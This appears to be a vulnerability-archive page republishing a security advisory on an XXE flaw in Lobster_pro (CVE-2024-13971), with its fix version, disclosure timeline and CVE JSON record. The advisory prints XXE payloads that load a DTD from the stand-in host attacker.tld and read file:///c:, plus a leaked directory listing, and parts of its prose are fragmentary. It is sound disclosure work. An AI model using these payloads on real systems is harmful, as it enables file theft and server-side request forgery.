GCVE-1988-2026-0250
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Lobster_pro
============================================================================================
arbitrary services.
Metadata
========
- - Affected product: Lobster_pro
- - Affected version: versions prior to 4.12.6-GA
- - Vendor: Lobster DATA GmbH
- - CVE ID: CVE-2024-13971
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971
- - CVSS 4.0 score: 7.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/
Details
=======
part of the customer's internet-facing assets.
application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lbsterq [
<!ENTITY % lobster SYSTEM "http://attacker.tld/map.dtd";>
%lobster;
]>
<properties>lobster</properties>
listings or HTTP responses via the error message returned by the endpoint:
<!ENTITY % cfga SYSTEM "file:///c:">
<!ENTITY % eea "<!ENTITY % lobsterdata SYSTEM '#%cfga;'>">
%eea;
%lobsterdata;
listing:
<?xml version="1.0" encoding="UTF-8"?>
<core:ErrorResponse xmlns:core="CORESYSTEM">
<errorInfo>
<errorCode>500</errorCode>
<httpResponseStatus>200</httpResponseStatus>
<locale>en</locale>
<errorText>javax.xml.bind.UnmarshalException
- with linked exception:
Exception Description: An error occurred unmarshalling the document
Message: no protocol: #$Recycle.Bin
Config.Msi
[...]
pagefile.sys
PerfLogs
ProgramData
Program Files
Program Files (x86)
Programme
[...]
temp
Users
Windows
]</errorText>
<errorType>java.io.IOException</errorType>
<errorLevel>1</errorLevel>
</errorInfo>
</core:ErrorResponse>
recursive entity declarations, thus preventing data exfiltration.
Risk
====
hash.
Solution/Mitigation
===================
Update to Lobster_pro release 4.12.6-GA or higher.
Timeline
========
- - 2024-08-12 Initial contact with vendor
- - 2024-08-14 Vulnerability reported to vendor
- - 2024-08-14 CVE ID requested
- - 2024-08-22 Initial feedback received from vendor: unable to reproduce
- - 2024-08-28 Vulnerability demonstrated in vendor's "Community server"
- - 2025-07-03 Reserved CVE ID CVE-2024-13971
- - 2026-04-30 Advisory released
Credits
=======
The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnzRmsaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsvxRAAkVaWMk/lJwfZi0Y0OWpr
5TQP/YCieTkxpkdiY0PF8dGApB3cp8ysschRAUgWIbeR7f1cj/4hbc3a1GxnZWV7
2gk1fdQieSdkJs8uBsKz0CeEasMztCI6KcmxWL+CMFHJoH+Q5Gd7MdOh1Og/zVgh
/UAAfzxihL0Gmx+gl6hpZVYSmqQctD4ogbmdQCU2mEuoHZRGLCzaiOtS8AZbOhvT
3IvC3ws3cQIAwzD7YH+5V+97cXqbFVnRoNL4YgJ9/pCHXinYZvL1JGL4Ob26/GvD
QfYqUOgpDsfr9GTZVSZT3S8pUVomMW9+FOjhpcOkRICkJ8cEdLhW5CIoaxweEcwE
PQSSC5QS5DIfVKgGo4lc0Oe9k3pT/dnH9iEfnV5hnq7+JgapQzqxNaf6BCZJX+ET
voIVVjyOYyP2Qzs4LSaArWxlcb0XR/DewW9qlvfnea4SfDkrG/hhRK3qBNrC83IR
IXmBTbp32Sfoh2X1W/frL4BtvIXkDirgF+sttAjoQKN3wVttuKj1JaM/BQ/pDf/N
pPAwaYzuuuf2Wv3NiBKIgB5tHuHKAQoKQPev7Z6pvDq0sB5ps9SRknIOEmfh/aoE
7aNztVHs+/6axCVKcuV7+qWv6HUwg4oDp78Lo9r8Oq/9rdbZ3TKtf/KWn4uT+sWw
Zk6o928sfQFlkXtTXRiGSwE=
=560Z
-----END PGP SIGNATURE-----
--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | SCHUTZWERK-SA-2024-005 Arbitrary File |
Affected:
unknown
|
guessed |
Relationships
reference
GCVE-1988-2026-0250 (this record)
- related CVE-2024-13971
{
"containers": {
"cna": {
"affected": [
{
"product": "SCHUTZWERK-SA-2024-005 Arbitrary File",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "David Brown via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nLobster_pro\n============================================================================================\n\n\narbitrary services.\n\nMetadata\n========\n\n- - Affected product: Lobster_pro\n- - Affected version: versions prior to 4.12.6-GA\n- - Vendor: Lobster DATA GmbH\n\n- - CVE ID: CVE-2024-13971\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971\n- - CVSS 4.0 score: 7.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/\n\nDetails\n=======\n\n\npart of the customer\u0027s internet-facing assets.\n\n\napplication:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE lbsterq [\n \u003c!ENTITY % lobster SYSTEM \"http://attacker.tld/map.dtd\";\u003e\n%lobster;\n]\u003e\n\u003cproperties\u003elobster\u003c/properties\u003e\n\n\nlistings or HTTP responses via the error message returned by the endpoint:\n\n\u003c!ENTITY % cfga SYSTEM \"file:///c:\"\u003e\n\u003c!ENTITY % eea \"\u003c!ENTITY \u0026#x25; lobsterdata SYSTEM \u0027#%cfga;\u0027\u003e\"\u003e\n%eea;\n%lobsterdata;\n\n\nlisting:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ccore:ErrorResponse xmlns:core=\"CORESYSTEM\"\u003e\n \u003cerrorInfo\u003e\n \u003cerrorCode\u003e500\u003c/errorCode\u003e\n \u003chttpResponseStatus\u003e200\u003c/httpResponseStatus\u003e\n \u003clocale\u003een\u003c/locale\u003e\n \u003cerrorText\u003ejavax.xml.bind.UnmarshalException\n - with linked exception:\n\nException Description: An error occurred unmarshalling the document\u0026#xd;\n\nMessage: no protocol: #$Recycle.Bin\nConfig.Msi\n[...]\npagefile.sys\nPerfLogs\nProgramData\nProgram Files\nProgram Files (x86)\nProgramme\n[...]\ntemp\nUsers\nWindows\n]\u003c/errorText\u003e\n \u003cerrorType\u003ejava.io.IOException\u003c/errorType\u003e\n \u003cerrorLevel\u003e1\u003c/errorLevel\u003e\n \u003c/errorInfo\u003e\n\u003c/core:ErrorResponse\u003e\n\n\nrecursive entity declarations, thus preventing data exfiltration.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to Lobster_pro release 4.12.6-GA or higher.\n\nTimeline\n========\n\n- - 2024-08-12 Initial contact with vendor\n- - 2024-08-14 Vulnerability reported to vendor\n- - 2024-08-14 CVE ID requested\n- - 2024-08-22 Initial feedback received from vendor: unable to reproduce\n- - 2024-08-28 Vulnerability demonstrated in vendor\u0027s \"Community server\"\n\n- - 2025-07-03 Reserved CVE ID CVE-2024-13971\n- - 2026-04-30 Advisory released\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnzRmsaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsvxRAAkVaWMk/lJwfZi0Y0OWpr\n5TQP/YCieTkxpkdiY0PF8dGApB3cp8ysschRAUgWIbeR7f1cj/4hbc3a1GxnZWV7\n2gk1fdQieSdkJs8uBsKz0CeEasMztCI6KcmxWL+CMFHJoH+Q5Gd7MdOh1Og/zVgh\n/UAAfzxihL0Gmx+gl6hpZVYSmqQctD4ogbmdQCU2mEuoHZRGLCzaiOtS8AZbOhvT\n3IvC3ws3cQIAwzD7YH+5V+97cXqbFVnRoNL4YgJ9/pCHXinYZvL1JGL4Ob26/GvD\nQfYqUOgpDsfr9GTZVSZT3S8pUVomMW9+FOjhpcOkRICkJ8cEdLhW5CIoaxweEcwE\nPQSSC5QS5DIfVKgGo4lc0Oe9k3pT/dnH9iEfnV5hnq7+JgapQzqxNaf6BCZJX+ET\nvoIVVjyOYyP2Qzs4LSaArWxlcb0XR/DewW9qlvfnea4SfDkrG/hhRK3qBNrC83IR\nIXmBTbp32Sfoh2X1W/frL4BtvIXkDirgF+sttAjoQKN3wVttuKj1JaM/BQ/pDf/N\npPAwaYzuuuf2Wv3NiBKIgB5tHuHKAQoKQPev7Z6pvDq0sB5ps9SRknIOEmfh/aoE\n7aNztVHs+/6axCVKcuV7+qWv6HUwg4oDp78Lo9r8Oq/9rdbZ3TKtf/KWn4uT+sWw\nZk6o928sfQFlkXtTXRiGSwE=\n=560Z\n-----END PGP SIGNATURE-----\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm / HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/1"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/May/1"
},
{
"url": "http://attacker.tld/map.dtd\""
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2024-13971"
},
{
"url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/May/1"
],
"discovery": "EXTERNAL"
},
"title": "SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2024-13971",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0250",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/1",
"automated": true,
"contentSha256": "fc38ab23c295c56af6054273dcc64d0b83024cfc3c045cc75fca20b073d6c0b3",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/May/1",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-30T12:12:33Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0250"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0250"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…